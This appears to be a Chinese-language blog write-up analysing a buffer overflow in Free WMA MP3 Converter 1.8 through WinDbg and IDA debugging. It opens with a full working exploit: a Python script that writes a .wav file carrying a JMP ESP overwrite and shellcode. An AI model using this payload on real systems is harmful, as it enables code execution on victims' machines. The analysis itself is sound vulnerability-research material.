作者:k0shl 转载请注明出处
漏洞说明
软件下载地址:
https://www.exploit-db.com/apps/21fdca9b7d302479e989b9d062a276df-FWMCSetup.exe
PoC:
#!/usr/bin/env python
# Free WMA MP3 Converter 1.8 Buffer Overflow
# Version:1.8 Build 20140226
# Author:metacom
# Date:10.23.2014
# Download:http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
# Tested on:Win7-En 32bit - Win8.1-DE 64bit
import struct
def little_endian(address):
return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
rst= open("bof_WMA MP3 Converter.wav",'w')
rst.write(exploit)
rst.close()
except:
print "Error"
调试环境:
Windows xp sp3
Windbg
IDA pro
利用PoC生成一个wav的文件,之后打开Free WMA MP3 Converter,这是一个视频转换工具,打开之后打开wav,引发崩溃。
漏洞分析
此漏洞发生在FWMCon.exe的sub_4B0FF4函数由于转换文件格式时,复制音频文件时对音频文件的长度没有进行有效检查,从而导致了缓冲区溢出的发生,下面对这漏洞进行详细分析
为了能够在漏洞触发时看到漏洞现场的情况,需要修改Exploit为Poc,修改后的代码如下
import struct
def little_endian(address):
return struct.pack("<L",address)
poc="\x41" * 4112
eip="\x41" * 4
nops="\x41" * 80
shellcode="\x41"*100
exploit = poc + eip + nops + shellcode
try:
rst= open("bof_WMA MP3 Converter.wav",'w')
rst.write(exploit)
rst.close()
except:
print "Error"
用Windbg附加该程序,执行漏洞wav,到达案发现场
(d0.4a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e5fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 jQuery21409358425873797387_1445617234967 ???
查看一下堆栈调用情况
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
01e5fee4 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe
01e5ffa0 00404172 01e5ffdc 00403cc8 01e5ffb4 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
01e5ffb4 7c80b713 00ba83cc 00000000 e7ffffff Wmpcon+0x4172
01e5ffec 00000000 00404148 00ba83cc 00000000 kernel32!GetModuleFileNameA+0x1b4
可以看到上一次函数调用地址00404172的位置,执行了Wmpcon+0x4172位置的代码,那么我们来看看漏洞触发前到底发生了什么。我们在00404172上一个位置00404170下断点
00404158 648b11 mov edx,dword ptr fs:[ecx]
0040415b 52 push edx
0040415c 648921 mov dword ptr fs:[ecx],esp
0040415f 8b4508 mov eax,dword ptr [ebp+8]
00404162 8b4804 mov ecx,dword ptr [eax+4]
00404165 8b10 mov edx,dword ptr [eax]
00404167 51 push ecx
00404168 52 push edx
00404169 e852e6ffff call Wmpcon+0x27c0 (004027c0)
0040416e 5a pop edx
0040416f 58 pop eax
00404170 ffd2 call edx
00404172 31d2 xor edx,edx
到达00404170位置之后,单步执行,果然触发了漏洞
Breakpoint 0 hit
eax=00bb74b0 ebx=00ba83cc ecx=00000000 edx=00421a38 esi=e7ffffff edi=00000000
eip=00404170 esp=01e5ffa8 ebp=01e5ffb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Wmpcon+0x4170:
00404170 ffd2 call edx {Wmpcon+0x21a38 (00421a38)}
0:005> p
(110.394): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e5fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
问题出在edx对应地址对应的函数中,重新附加,单步跟入这个函数
00421a38 55 push ebp
00421a39 8bec mov ebp,esp
00421a3b 51 push ecx
00421a3c 53 push ebx
00421a3d 56 push esi
00421a3e 57 push edi
00421a3f 8945fc mov dword ptr [ebp-4],eax
00421a42 33c0 xor eax,eax
00421a44 55 push ebp
00421a45 68ce1a4200 push offset Wmpcon+0x21ace (00421ace)
00421a4a 64ff30 push dword ptr fs:[eax]
00421a4d 648920 mov dword ptr fs:[eax],esp
00421a50 8b45fc mov eax,dword ptr [ebp-4]
00421a53 80780d00 cmp byte ptr [eax+0Dh],0
00421a57 7535 jne Wmpcon+0x21a8e (00421a8e)
00421a59 33c0 xor eax,eax
00421a5b 55 push ebp
00421a5c 68791a4200 push offset Wmpcon+0x21a79 (00421a79)
00421a61 64ff30 push dword ptr fs:[eax]
00421a64 648920 mov dword ptr fs:[eax],esp
00421a67 8b45fc mov eax,dword ptr [ebp-4]
00421a6a 8b10 mov edx,dword ptr [eax]
00421a6c ff5204 call dword ptr [edx+4]
00421a6f 33c0 xor eax,eax
我们通过这个方法,不断跟进函数,一直跟到004b102f的位置,其实这里是一处循环拷贝的过程,此过程的起始部分和结束部分如下。
loc_4B102F:
mov eax, edi
cmp eax, 4 ; switch 5 cases
ja loc_4B14B9 ; default
loc_4B14E3:
cmp ebx, 2000h
jl loc_4B102F
我们可以通过esp看到拷贝字节的过程,当第N轮循环结束时
0:005> dd esp
0190eec0 000010c8 00000000 00000000 00000000
0190eed0 00000000 41414141 41414141 41414141
0190eee0 00004141 00000000 00000000 00000000
0190eef0 00000000 00000000 00000000 00000000
0190ef00 00000000 00000000 00000000 00000000
0190ef10 00000000 00000000 00000000 00000000
0190ef20 00000000 00000000 00000000 00000000
0190ef30 00000000 00000000 00000000 00000000
当第N+1轮循环结束时
0:005> dd esp
0190eec0 000010c8 00000000 00000000 00000000
0190eed0 00000000 41414141 41414141 41414141
0190eee0 00414141 00000000 00000000 00000000
0190eef0 00000000 00000000 00000000 00000000
0190ef00 00000000 00000000 00000000 00000000
0190ef10 00000000 00000000 00000000 00000000
0190ef20 00000000 00000000 00000000 00000000
0190ef30 00000000 00000000 00000000 00000000
可以看到已经将41的字节拷入栈中,我们在004b14e9处下断点,并观察寄存器状况
可以看到ebx存放的是字符串位置,那么我们根据POC中\x41的长度,4112+4+80+100,再转换为十六进制,算出长度后下一个条件断点
0:005> bp 004b14e9 ".if(ebx==10c4){;}.else{g;}"
breakpoint 0 redefined
现在查看内存空间的情况
0190eec8 00 00 00 00 00 00 00 00 00 00 00 00 41 ............A
0190eed5 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190eee2 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190eeef 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190eefc 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef09 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef16 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef23 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef30 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef3d 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef4a 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef57 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef64 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef71 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef7e 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef8b 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190ef98 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190efa5 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190efb2 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190efbf 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190efcc 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190efd9 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190efe6 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190eff3 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190f000 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190f00d 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190f01a 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
0190f027 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAA
可以看到此时内存空间中的状况已经被覆盖了,因为对传入字符串没有做长度检查,问题出在
__int16 __usercall sub_4B0FF4<ax>(int a1<eax>, int a2, int a3)
最后返回时到达漏洞触发现场,导致了缓冲区溢出的发生